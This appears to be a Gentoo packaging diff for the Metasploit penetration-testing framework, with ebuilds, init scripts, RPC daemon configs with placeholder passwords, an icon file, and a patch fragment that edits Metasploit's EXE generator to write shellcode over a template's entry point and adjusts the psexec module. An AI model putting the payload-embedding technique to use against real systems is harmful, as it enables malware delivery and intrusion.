++ characteristics = sec[1][characteristics_offset,0x4].unpack('L')[0]
++ if exe.hdr.opt.AddressOfEntryPoint >= virtualAddress && exe.hdr.opt.AddressOfEntryPoint < virtualAddress+sizeOfRawData
++ #put this section writable
++ characteristics|=0x80000000
++ newcharacteristics = [characteristics].pack('L')
++ pe[sec[0],newcharacteristics.length]=newcharacteristics
++ end
+ end
++
++ #put the shellcode at the entry point, overwriting template
++ pe[exe.rva_to_file_offset(exe.hdr.opt.AddressOfEntryPoint),code_service.length+code.length]=code_service+code
++
+ when :dll
+ max_length = 2048
+ when :exe_sub
+ max_length = 4096
+ end
+
+- bo = pe.index('PAYLOAD:')
+- raise RuntimeError, "Invalid PE EXE subst template: missing \"PAYLOAD:\" tag" if not bo
++ if opts[:exe_type] != :service_exe
+
+- if (code.length <= max_length)
+- pe[bo, code.length] = [code].pack("a*")
+- else
+- raise RuntimeError, "The EXE generator now has a max size of #{max_length} bytes, please fix the calling module"
+- end
++ bo = pe.index('PAYLOAD:')
++ raise RuntimeError, "Invalid PE EXE subst template: missing \"PAYLOAD:\" tag" if not bo
+
+- if opts[:exe_type] == :dll
+- mt = pe.index('MUTEX!!!')
+- pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt
++ if (code.length <= max_length)
++ pe[bo, code.length] = [code].pack("a*")
++ else
++ raise RuntimeError, "The EXE generator now has a max size of #{max_length} bytes, please fix the calling module"
++ end
++
++ if opts[:exe_type] == :dll
++ mt = pe.index('MUTEX!!!')
++ pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt
++ end
+ end
+
+ return pe
+@@ -463,7 +513,7 @@
+
+ def self.to_win32pe_service(framework, code, opts={})
+ # Allow the user to specify their own service EXE template
+- set_template_default(opts, "template_x86_windows_svc.exe")
++ set_template_default(opts, "template_x86_windows.exe")
+ opts[:exe_type] = :service_exe
+ exe_sub_method(code,opts)
+ end
+diff -Naur metasploit-9999.orig/modules/exploits/windows/smb/psexec.rb metasploit-9999/modules/exploits/windows/smb/psexec.rb
+--- metasploit-9999.orig/modules/exploits/windows/smb/psexec.rb 2013-11-20 11:50:31.988365357 +0100
++++ metasploit-9999/modules/exploits/windows/smb/psexec.rb 2013-11-20 11:50:48.256366095 +0100
+@@ -153,7 +153,7 @@
+ # Disconnect from the ADMIN$
+ simple.disconnect("ADMIN$")
+ else
+- servicename = rand_text_alpha(8)
++ servicename = rand_text_alpha(7)
+
+ # Upload the shellcode to a file
+ print_status("Uploading payload...")
diff --git a/net-analyzer/metasploit/files/database.yml b/net-analyzer/metasploit/files/database.yml
new file mode 100644
index 000000000000..403191669cca
--- /dev/null
+++ b/net-analyzer/metasploit/files/database.yml
@@ -0,0 +1,34 @@
+#
+# The tests currently use the development user
+# https://dev.metasploit.com/redmine/issues/8418
+#
+
+development:
+ adapter: "postgresql"
+ database: "msf_test_database"
+ username: "msf_test_user"
+ password: "secure"
+ port: 5432
+ host: "localhost"
+ pool: 256
+ timeout: 5
+
+production:
+ adapter: "postgresql"
+ database: "msf_database"
+ username: "msf_user"
+ password: "secure"
+ port: 5432
+ host: "localhost"
+ pool: 256
+ timeout: 5
+
+test:
+ adapter: "postgresql"
+ database: "msf_test_database"
+ username: "msf_test_user"
+ password: "secure"
+ port: 5432
+ host: "localhost"
+ pool: 256
+ timeout: 5
diff --git a/net-analyzer/metasploit/files/metasploit.icon b/net-analyzer/metasploit/files/metasploit.icon
new file mode 100644
index 000000000000..87af020fdf0d
--- /dev/null
+++ b/net-analyzer/metasploit/files/metasploit.icon
@@ -0,0 +1,224 @@
+/* XPM */
+static char *metasploit[] = {
+/* columns rows colors chars-per-pixel */
+"48 48 170 2 ",
+" c #000000",
+". c #0B0B0B",
+"X c #131313",
+"o c #1C1C1C",
+"O c #251B0D",
+"+ c #2C2112",
+"@ c #2C241C",
+"# c #081933",
+"$ c #061F3B",
+"% c #07203C",
+"& c #09223C",
+"* c #232323",
+"= c #2D2D2D",
+"- c #353535",
+"; c #383838",
+": c #0C2141",
+"> c #0F264C",
+", c #0F284D",
+"< c #072755",
+"1 c #082754",
+"2 c #062855",
+"3 c #0E2C57",
+"4 c #072858",
+"5 c #0D2F5C",
+"6 c #033A6E",
+"7 c #1A3166",
+"8 c #043C72",
+"9 c #2F456F",
+"0 c #2A4174",
+"q c #314774",
+"w c #314A75",
+"e c #424242",
+"r c #444A5F",
+"t c #545454",
+"y c #5B5B5B",
+"u c #414B60",
+"i c #515A6F",
+"p c #4B6975",
+"a c #416679",
+"s c #46697B",
+"d c #4D6D7C",
+"f c #636363",
+"g c #686868",
+"h c #727272",
+"j c #7B7B7B",
+"k c #B37777",
+"l c #C76852",
+"z c #F26E40",
+"x c #C77A6F",
+"c c #DA8D75",
+"v c #023986",
+"b c #002F99",
+"n c #043296",
+"m c #043898",
+"M c #0038A0",
+"N c #094089",
+"B c #1C4583",
+"V c #194997",
+"C c #1E4E9F",
+"Z c #215192",
+"A c #225A9F",
+"S c #3D5C98",
+"D c #3B6F8A",
+"F c #0D43AD",
+"G c #1F4EA2",
+"H c #1F4EAA",
+"J c #1753BB",
+"K c #1852B9",
+"L c #224FA8",
+"P c #2450A4",
+"I c #2E55A0",
+"U c #2755AD",
+"Y c #2956AE",
+"T c #3464A5",
+"R c #2963BC",
+"E c #466E81",
+"W c #447082",
+"Q c #6C739A",
+"! c #4471B1",
+"~ c #4873B6",
+"^ c #4870BB",
+"/ c #4D78BA",
+"( c #0D53C3",
+") c #1866C9",
+"_ c #046EDB",
+"` c #126FD4",
+"' c #0C73DD",
+"] c #3767C7",
+"[ c #326AC2",
+"{ c #3D75C4",
+"} c #3574C8",
+"| c #3B74C9",
+" . c #3E79CC",
+".. c #2F74D3",
+"X. c #3B7BD0",
+"o. c #006EE5",
+"O. c #0479E5",
+"+. c #0074E9",
+"@. c #087EEC",
+"#. c #1479E1",
+"$. c #497AC7",
+"%. c #447BCD",
+"&. c #487FD2",
+"*. c #5B84A8",
+"=. c #3B82DA",
+"-. c #0C86EF",
+";. c #1F80E5",
+":. c #1393F9",
+">. c #1C99FB",
+",. c #348FEC",
+"<. c #3290E5",
+"1. c #3491EB",
+"2. c #2490F3",
+"3. c #279EFD",
+"4. c #3CA8FF",
+"5. c #5394D2",
+"6. c #758FC3",
+"7. c #689AD3",
+"8. c #7399D1",
+"9. c #4090E6",
+"0. c #4990E4",
+"q. c #4694EB",
+"w. c #559BED",
+"e. c #4B9BF1",
+"r. c #539FF3",
+"t. c #45A4FD",
+"y. c #47AAFA",
+"u. c #56A0F4",
+"i. c #5AA4F5",
+"p. c #5CA6F8",
+"a. c #56B5FD",
+"s. c #71A3E1",
+"d. c #65AFFB",
+"f. c #66B7FF",
+"g. c #68B7FF",
+"h. c #6CC2FF",
+"j. c #70C9FF",
+"k. c #7CD7FF",
+"l. c #7ED9FF",
+"z. c #838383",
+"x. c #8B8B8B",
+"c. c #939393",
+"v. c #9D9D9D",
+"b. c #B18A8B",
+"n. c #9193AB",
+"m. c #A3A3A3",
+"M. c #AEAEAE",
+"N. c #B2B2B2",
+"B. c #BDBDBD",
+"V. c #8299C5",
+"C. c #8899C3",
+"Z. c #81C2FF",
+"A. c #8BCEFF",
+"S. c #86D7FF",
+"D. c #8BD1FF",
+"F. c #84DCFF",
+"G. c #8ADFFF",
+"H. c #94D6FF",
+"J. c #9DDAFE",
+"K. c #8DE1FF",
+"L. c #97E0FF",
+"P. c #C3C3C3",
+"I. c #CBCBCB",
+"U. c #D3D3D3",
+"Y. c #DCDCDC",
+"T. c #E3E3E3",
+"R. c #ECECEC",
+"E. c #F4F4F4",
+"W. c #FFFFFF",
+"Q. c None",
+/* pixels */
+"Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.",
+"Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.",
+"Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.",
+"Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.",
+"Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.",
+"Q.Q.Q.8 V P G G G G G G G G G P G G G G G G G G G G G G G G G G G G G G G G G G L V 6 Q.Q.Q.Q.Q.",
+"Q.v N A | &.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.| } .%. .} | %. .=.} A Z B Q.Q.Q.",
+"Q.F K ..q.u.e.e.e.e.e.e.e.e.e.e.e.e.e.e.e.e.e.e.e.e.e.e.e.e.e.i.p.u.e.u.p.p.w.w.s.8.$.] P 5 Q.Q.",
+"Q.R ) _ ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' #.d.Z.u.;.,.j.g.1./ k x ~ ( n 4 : Q.",
+"Q.` ' +.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o.f.D.t.@.2.A.g.1.! l z Q J b 2 % Q.",
+"Q.O.-.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.>.h.D.a.3.4.D.j.y.5.b.c n.[ M 2 & Q.",
+"Q.<.a.F.l.k.k.k.k.k.l.l.k.k.k.k.k.k.k.k.k.l.k.k.k.k.k.k.k.k.l.K.K.G.l.F.L.K.F.S.H.J.L.0.m 1 & Q.",
+"Q.7.*.p d d d d d d d d d d d d d d d d d d d d d d d d d d d s a s d s a s s E D D W T G 3 $ Q.",
+"Q.C.r 7 Y 3 $ Q.",
+"Q.V.u 7 Y 3 $ Q.",
+"Q.V.u 7 Y 3 $ Q.",
+"Q.V.u 7 Y 3 % Q.",
+"Q.V.u c.R.W.Y. 7 Y 3 $ Q.",
+"Q.V.u g W.W.W.Y. 7 Y 3 $ Q.",
+"Q.V.u M.W.W.R.X 7 Y 3 $ Q.",
+"Q.V.u T.W.W.E.m.R.E.B.m.W.E.I.- . j U.E.W.P.e h E.W.W.W.c. . 7 Y 3 $ Q.",
+"Q.V.u W.W.W.W.W.W.W.W.W.W.W.W.R.X v.W.W.W.W.W.R. E.W.W.W.W.E. E.c.* 7 Y 3 $ Q.",
+"Q.V.u W.W.W.W.W.W.W.W.W.W.W.W.W.f E.W.W.R.X P.f h W.W.W.E.y W.W.W.N.e 7 Y 3 $ Q.",
+"Q.V.u W.W.W.E.= W.W.W.U.- W.W.W.v.P.W.W.W.U.- W.W.W.Y. o x.R.W.W.I.f . 7 Y 3 $ Q.",
+"Q.V.u W.W.W.Y. W.W.W.I. W.W.W.B.* Y.W.W.W.W.j W.W.W.Y. . f U.W.W.R.z. 7 Y 3 $ Q.",
+"Q.V.u W.W.W.Y. W.W.W.Y. W.W.W.U.g . f T.W.W.W.g W.W.W.Y. y W.W.W. 7 Y 3 & Q.",
+"Q.V.u W.W.W.Y. W.W.W.Y.. W.W.W.R.W.t ; W.W.W.M. W.W.W.Y. e N.W.W.W.m. 7 Y 3 $ Q.",
+"Q.V.u W.W.W.Y. W.W.W.Y.- W.W.W.Y.E.W.U.T.W.W.W.c. W.W.W.Y. . g U.W.W.R.z.o 7 Y 3 $ Q.",
+"Q.V.u W.W.W.Y. W.W.W.U.m.W.W.W.P.c.W.W.W.W.W.E.* W.W.W.R. R.W.W.U.f . 7 Y 3 $ Q.",
+"Q.V.u U.W.W.U. W.W.W.m.T.W.W.W.x.. c.R.W.E.N.= U.W.W.T. W.N.e 7 Y 3 $ Q.",
+"Q.V.u * 7 Y 3 $ Q.",
+"Q.V.u 7 Y 3 $ Q.",
+"Q.V.u 7 Y 3 $ Q.",
+"Q.V.u 7 Y 3 $ Q.",
+"Q.V.u 7 Y 3 $ Q.",
+"Q.V.u 7 Y 3 $ Q.",
+"Q.V.u 7 Y 3 $ Q.",
+"Q.V.u . . . . . . . . . . . . . 7 Y 3 $ Q.",
+"Q.6.i O @ @ @ @ + @ @ @ @ @ + @ @ @ @ @ @ @ @ @ @ @ @ @ + @ @ @ @ @ @ @ + @ @ @ @ @ + 0 H 3 & Q.",
+"Q.^ S 9 w w w w q w w w w w w w w w w w w w w w w w w w w w w w w w w w w w w w w w q I G 3 $ Q.",
+"Q.V V P C G C C C C P C C C C C P C C C C C C C C C C C C C C C C C C C C C C P A C P A B > $ Q.",
+"Q.3 1 > , > > > > > > > > > > > > > > > > > > > > > > > > > , , > > > > > > > > > > > > > & : Q.",
+"Q.Q.Q.Q.Q.# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # Q.Q.Q.Q.",
+"Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.",
+"Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.",
+"Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.",
+"Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.",
+"Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q."
+};
diff --git a/net-analyzer/metasploit/files/msfrpcd-4.0-conf b/net-analyzer/metasploit/files/msfrpcd-4.0-conf
new file mode 100644
index 000000000000..dc56a9d966a6
--- /dev/null
+++ b/net-analyzer/metasploit/files/msfrpcd-4.0-conf
@@ -0,0 +1,25 @@
+# Config file for /etc/init.d/msfrpcd
+
+# msfrpcd -h for more info
+
+# Bind to the following IP instead of 0.0.0.0
+MSF_OPTS="-a 127.0.0.1"
+
+# Bind to the following TCP port instead of default 55553
+#MSF_OPTS="${MSF_OPTS} -p 55553"
+
+# Specify the username to access msfrpcd
+MSF_OPTS="${MSF_OPTS} -U msf"
+
+# Specify the password to access msfrpcd
+MSF_OPTS="${MSF_OPTS} -P secret"
+
+# Server type, [Basic|Web]
+#MSF_OPTS="${MSF_OPTS} -t Basic"
+
+# URI for Web server
+#MSF_OPTS="${MSF_OPTS} -u "
+
+# Disable SSL on the XMLRPC socket
+# JAVA GUI doesn't support SSL as of Nov 6, 2010
+MSF_OPTS="${MSF_OPTS} -S"
diff --git a/net-analyzer/metasploit/files/msfrpcd-4.0-initd b/net-analyzer/metasploit/files/msfrpcd-4.0-initd
new file mode 100644
index 000000000000..ad6bf25ba5db
--- /dev/null
+++ b/net-analyzer/metasploit/files/msfrpcd-4.0-initd
@@ -0,0 +1,22 @@
+#!/sbin/runscript
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+VERSION=4.0
+PIDFILE=/var/run/msfrpcd${VERSION}.pid
+
+start() {
+ ebegin "Starting msfrpcd${VERSION}"
+ start-stop-daemon --start --quiet --background \
+ --exec /usr/lib/metasploit${VERSION}/msfrpcd \
+ --pidfile ${PIDFILE} \
+ --make-pidfile -- -f ${MSF_OPTS}
+ eend $?
+}
+
+stop() {
+ ebegin "Stopping msfrpcd${VERSION}"
+ start-stop-daemon --stop --quiet -s 9 --pidfile ${PIDFILE}
+ eend $?
+}
diff --git a/net-analyzer/metasploit/files/msfrpcd-4.2-conf b/net-analyzer/metasploit/files/msfrpcd-4.2-conf
new file mode 100644
index 000000000000..dc56a9d966a6
--- /dev/null
+++ b/net-analyzer/metasploit/files/msfrpcd-4.2-conf
@@ -0,0 +1,25 @@
+# Config file for /etc/init.d/msfrpcd
+
+# msfrpcd -h for more info
+
+# Bind to the following IP instead of 0.0.0.0
+MSF_OPTS="-a 127.0.0.1"
+
+# Bind to the following TCP port instead of default 55553
+#MSF_OPTS="${MSF_OPTS} -p 55553"
+
+# Specify the username to access msfrpcd
+MSF_OPTS="${MSF_OPTS} -U msf"
+
+# Specify the password to access msfrpcd
+MSF_OPTS="${MSF_OPTS} -P secret"
+
+# Server type, [Basic|Web]
+#MSF_OPTS="${MSF_OPTS} -t Basic"
+
+# URI for Web server
+#MSF_OPTS="${MSF_OPTS} -u "
+
+# Disable SSL on the XMLRPC socket
+# JAVA GUI doesn't support SSL as of Nov 6, 2010
+MSF_OPTS="${MSF_OPTS} -S"
diff --git a/net-analyzer/metasploit/files/msfrpcd-4.2-initd b/net-analyzer/metasploit/files/msfrpcd-4.2-initd
new file mode 100644
index 000000000000..91a373f343ab
--- /dev/null
+++ b/net-analyzer/metasploit/files/msfrpcd-4.2-initd
@@ -0,0 +1,22 @@
+#!/sbin/runscript
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+VERSION=4.2
+PIDFILE=/var/run/msfrpcd${VERSION}.pid
+
+start() {
+ ebegin "Starting msfrpcd${VERSION}"
+ start-stop-daemon --start --quiet --background \
+ --exec /usr/lib/metasploit${VERSION}/msfrpcd \
+ --pidfile ${PIDFILE} \
+ --make-pidfile -- -f ${MSF_OPTS}
+ eend $?
+}
+
+stop() {
+ ebegin "Stopping msfrpcd${VERSION}"
+ start-stop-daemon --stop --quiet -s 9 --pidfile ${PIDFILE}
+ eend $?
+}
diff --git a/net-analyzer/metasploit/files/msfrpcd-4.3-conf b/net-analyzer/metasploit/files/msfrpcd-4.3-conf
new file mode 100644
index 000000000000..dc56a9d966a6
--- /dev/null
+++ b/net-analyzer/metasploit/files/msfrpcd-4.3-conf
@@ -0,0 +1,25 @@
+# Config file for /etc/init.d/msfrpcd
+
+# msfrpcd -h for more info
+
+# Bind to the following IP instead of 0.0.0.0
+MSF_OPTS="-a 127.0.0.1"
+
+# Bind to the following TCP port instead of default 55553
+#MSF_OPTS="${MSF_OPTS} -p 55553"
+
+# Specify the username to access msfrpcd
+MSF_OPTS="${MSF_OPTS} -U msf"
+
+# Specify the password to access msfrpcd
+MSF_OPTS="${MSF_OPTS} -P secret"
+
+# Server type, [Basic|Web]
+#MSF_OPTS="${MSF_OPTS} -t Basic"
+
+# URI for Web server
+#MSF_OPTS="${MSF_OPTS} -u "
+
+# Disable SSL on the XMLRPC socket
+# JAVA GUI doesn't support SSL as of Nov 6, 2010
+MSF_OPTS="${MSF_OPTS} -S"
diff --git a/net-analyzer/metasploit/files/msfrpcd-4.3-initd b/net-analyzer/metasploit/files/msfrpcd-4.3-initd
new file mode 100644
index 000000000000..4880d501fa21
--- /dev/null
+++ b/net-analyzer/metasploit/files/msfrpcd-4.3-initd
@@ -0,0 +1,22 @@
+#!/sbin/runscript
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+VERSION=4.3
+PIDFILE=/var/run/msfrpcd${VERSION}.pid
+
+start() {
+ ebegin "Starting msfrpcd${VERSION}"
+ start-stop-daemon --start --quiet --background \
+ --exec /usr/lib/metasploit${VERSION}/msfrpcd \
+ --pidfile ${PIDFILE} \
+ --make-pidfile -- -f ${MSF_OPTS}
+ eend $?
+}
+
+stop() {
+ ebegin "Stopping msfrpcd${VERSION}"
+ start-stop-daemon --stop --quiet -s 9 --pidfile ${PIDFILE}
+ eend $?
+}
diff --git a/net-analyzer/metasploit/files/msfrpcd-4.4-conf b/net-analyzer/metasploit/files/msfrpcd-4.4-conf
new file mode 100644
index 000000000000..dc56a9d966a6
--- /dev/null
+++ b/net-analyzer/metasploit/files/msfrpcd-4.4-conf
@@ -0,0 +1,25 @@
+# Config file for /etc/init.d/msfrpcd
+
+# msfrpcd -h for more info
+
+# Bind to the following IP instead of 0.0.0.0
+MSF_OPTS="-a 127.0.0.1"
+
+# Bind to the following TCP port instead of default 55553
+#MSF_OPTS="${MSF_OPTS} -p 55553"
+
+# Specify the username to access msfrpcd
+MSF_OPTS="${MSF_OPTS} -U msf"
+
+# Specify the password to access msfrpcd
+MSF_OPTS="${MSF_OPTS} -P secret"
+
+# Server type, [Basic|Web]
+#MSF_OPTS="${MSF_OPTS} -t Basic"
+
+# URI for Web server
+#MSF_OPTS="${MSF_OPTS} -u "
+
+# Disable SSL on the XMLRPC socket
+# JAVA GUI doesn't support SSL as of Nov 6, 2010
+MSF_OPTS="${MSF_OPTS} -S"
diff --git a/net-analyzer/metasploit/files/msfrpcd-4.4-initd b/net-analyzer/metasploit/files/msfrpcd-4.4-initd
new file mode 100644
index 000000000000..4880d501fa21
--- /dev/null
+++ b/net-analyzer/metasploit/files/msfrpcd-4.4-initd
@@ -0,0 +1,22 @@
+#!/sbin/runscript
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+VERSION=4.3
+PIDFILE=/var/run/msfrpcd${VERSION}.pid
+
+start() {
+ ebegin "Starting msfrpcd${VERSION}"
+ start-stop-daemon --start --quiet --background \
+ --exec /usr/lib/metasploit${VERSION}/msfrpcd \
+ --pidfile ${PIDFILE} \
+ --make-pidfile -- -f ${MSF_OPTS}
+ eend $?
+}
+
+stop() {
+ ebegin "Stopping msfrpcd${VERSION}"
+ start-stop-daemon --stop --quiet -s 9 --pidfile ${PIDFILE}
+ eend $?
+}
diff --git a/net-analyzer/metasploit/files/msfweb.confd b/net-analyzer/metasploit/files/msfweb.confd
new file mode 100644
index 000000000000..3e9fa64d9a14
--- /dev/null
+++ b/net-analyzer/metasploit/files/msfweb.confd
@@ -0,0 +1,13 @@
+# Config file for /etc/init.d/metasploit
+
+# Pidfile
+PIDFILE=/var/run/msfweb.pid
+
+# Bind to the following IP instead of the loopback address
+IPADDR=127.0.0.1
+
+# Bind to the following TCP port instead of default 55555
+PORT=55555
+
+# All options
+MSF_OPTS="-a $IPADDR -p $PORT"
diff --git a/net-analyzer/metasploit/files/msfweb.initd b/net-analyzer/metasploit/files/msfweb.initd
new file mode 100644
index 000000000000..0805d583dc7f
--- /dev/null
+++ b/net-analyzer/metasploit/files/msfweb.initd
@@ -0,0 +1,18 @@
+#!/sbin/runscript
+# Copyright 1999-2005 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+start() {
+ ebegin "Starting msfweb"
+ start-stop-daemon --start --quiet --background --exec /usr/bin/msfweb \
+ --pidfile ${PIDFILE} --make-pidfile -- ${MSF_OPTS}
+ eend $?
+}
+
+stop() {
+ ebegin "Stopping msfweb"
+ start-stop-daemon --stop --quiet --pidfile ${PIDFILE}
+ rm -f ${PIDFILE}
+ eend $?
+}
diff --git a/net-analyzer/metasploit/metadata.xml b/net-analyzer/metasploit/metadata.xml
new file mode 100644
index 000000000000..9ba0d4a92316
--- /dev/null
+++ b/net-analyzer/metasploit/metadata.xml
@@ -0,0 +1,15 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>zerochaos@gentoo.org</email>
+ <name>Rick Farina</name>
+ <description>Very delicate package, ask before you touch please</description>
+ </maintainer>
+ <use>
+ <flag name='development'>Install dependencies needed for metasploit and exploit development</flag>
+ <flag name='lorcon'>Enable lorcon for raw packet injection</flag>
+ <flag name='oracle'>Enable restricted oracle modules which have additional deps</flag>
+ <flag name='pcap'>Enable libpcap for packet sniffing</flag>
+ </use>
+</pkgmetadata>
diff --git a/net-analyzer/metasploit/metasploit-2.7.ebuild b/net-analyzer/metasploit/metasploit-2.7.ebuild
new file mode 100644
index 000000000000..ed11d9b3a396
--- /dev/null
+++ b/net-analyzer/metasploit/metasploit-2.7.ebuild
@@ -0,0 +1,48 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+MY_P="${P/metasploit/framework}"
+S="${WORKDIR}/${MY_P}"
+DESCRIPTION="Advanced open-source framework for developing, testing, and using vulnerability exploit code"
+HOMEPAGE="http://www.metasploit.org/"
+SRC_URI="http://metasploit.com/tools/${MY_P}.tar.gz"
+
+LICENSE="GPL-2 Artistic"
+SLOT="0"
+KEYWORDS="amd64 ppc x86"
+IUSE=""
+
+RDEPEND="dev-lang/perl
+ dev-perl/Net-SSLeay
+ dev-perl/Term-ReadLine-Perl
+ dev-perl/TermReadKey"
+
+src_install() {
+ dodir /usr/lib/
+ dodir /usr/bin/
+
+ # should be as simple as copying everything into the target...
+ cp -pPR "${S}" "${D}"usr/lib/metasploit || die
+
+ # and creating symlinks in the /usr/bin dir
+ cd "${D}"/usr/bin
+ ln -s ../lib/metasploit/msf* ./ || die
+ chown -R root:0 "${D}"
+
+ newinitd "${FILESDIR}"/msfweb.initd msfweb || die "newinitd failed"
+ newconfd "${FILESDIR}"/msfweb.confd msfweb || die "newconfd failed"
+}
+
+pkg_postinst() {
+ elog "To update metasploit modules run:"
+ elog " # cd /usr/lib/metasploit && svn update"
+}
+
+pkg_postrm() {
+ if [[ -d /usr/lib/metasploit ]] ; then
+ ewarn "If you ever updated modules emerge will keep /var/lib/metasploit"
+ ewarn "directory. Thus to remove metasploit completely do not forgive to:"
+ ewarn " # rm -r /usr/lib/metasploit"
+ fi
+}
diff --git a/net-analyzer/metasploit/metasploit-4.9.3.ebuild b/net-analyzer/metasploit/metasploit-4.9.3.ebuild
new file mode 100644
index 000000000000..4450ae20cae9
--- /dev/null
+++ b/net-analyzer/metasploit/metasploit-4.9.3.ebuild
@@ -0,0 +1,273 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="5"
+
+if [[ ${PV} == "9999" ]] ; then
+ EGIT_REPO_URI="https://github.com/rapid7/metasploit-framework.git"
+ EGIT_CHECKOUT_DIR="${WORKDIR}"/all
+ inherit git-r3
+ KEYWORDS=""
+else
+ #https://github.com/rapid7/metasploit-framework/wiki/Downloads-by-Version
+ SRC_URI="http://downloads.metasploit.com/data/releases/archive/framework-${PV}.tar.bz2"
+ KEYWORDS="~amd64 ~arm ~x86"
+ S="${WORKDIR}"/msf3
+fi
+
+#ruby20 doesn't have wide enough support in gentoo yet (but is semi-supported upstream)
+USE_RUBY="ruby19"
+inherit eutils ruby-ng
+
+DESCRIPTION="Advanced open-source framework for developing, testing, and using vulnerability exploit code"
+HOMEPAGE="http://www.metasploit.org/"
+SLOT="4.9"
+LICENSE="BSD"
+IUSE="development +java lorcon oracle +pcap test"
+
+#multiple known bugs with tests reported upstream and ignored
+#http://dev.metasploit.com/redmine/issues/8418 - worked around (fix user creation when possible)
+RESTRICT="test"
+
+RUBY_COMMON_DEPEND="virtual/ruby-ssl
+ =dev-ruby/rkelly-remix-0.0.6
+ dev-ruby/bcrypt-ruby
+ dev-ruby/activesupport:3.2
+ dev-ruby/activerecord:3.2
+ dev-ruby/json
+ =dev-ruby/metasploit_data_models-0.17.0
+ dev-ruby/msgpack
+ dev-ruby/nokogiri
+ dev-ruby/sqlite3
+ dev-ruby/builder:3
+ >=dev-ruby/pg-0.11
+ =dev-ruby/packetfu-1.1.9
+ dev-ruby/rb-readline
+ dev-ruby/robots
+ dev-ruby/kissfft
+ java? ( dev-ruby/rjb )
+ lorcon? ( net-wireless/lorcon[ruby] )
+ oracle? ( dev-ruby/ruby-oci8 )
+ pcap? ( dev-ruby/pcaprub
+ dev-ruby/network_interface )
+ dev-ruby/bundler
+ development? ( dev-ruby/fivemat
+ dev-ruby/redcarpet
+ dev-ruby/yard
+ >=dev-ruby/rake-10.0.0
+ >=dev-ruby/factory_girl-4.1.0 )"
+ruby_add_bdepend "${RUBY_COMMON_DEPEND}
+ test? ( >=dev-ruby/factory_girl-4.1.0
+ dev-ruby/fivemat
+ dev-ruby/database_cleaner
+ >=dev-ruby/rspec-2.12
+ dev-ruby/shoulda-matchers
+ dev-ruby/timecop
+ >=dev-ruby/rake-10.0.0 )"
+ruby_add_rdepend "${RUBY_COMMON_DEPEND}"
+
+COMMON_DEPEND="dev-db/postgresql[server]
+ >=app-crypt/johntheripper-1.7.9-r1[-minimal]
+ net-analyzer/nmap"
+DEPEND+=" ${COMMON_DEPEND}"
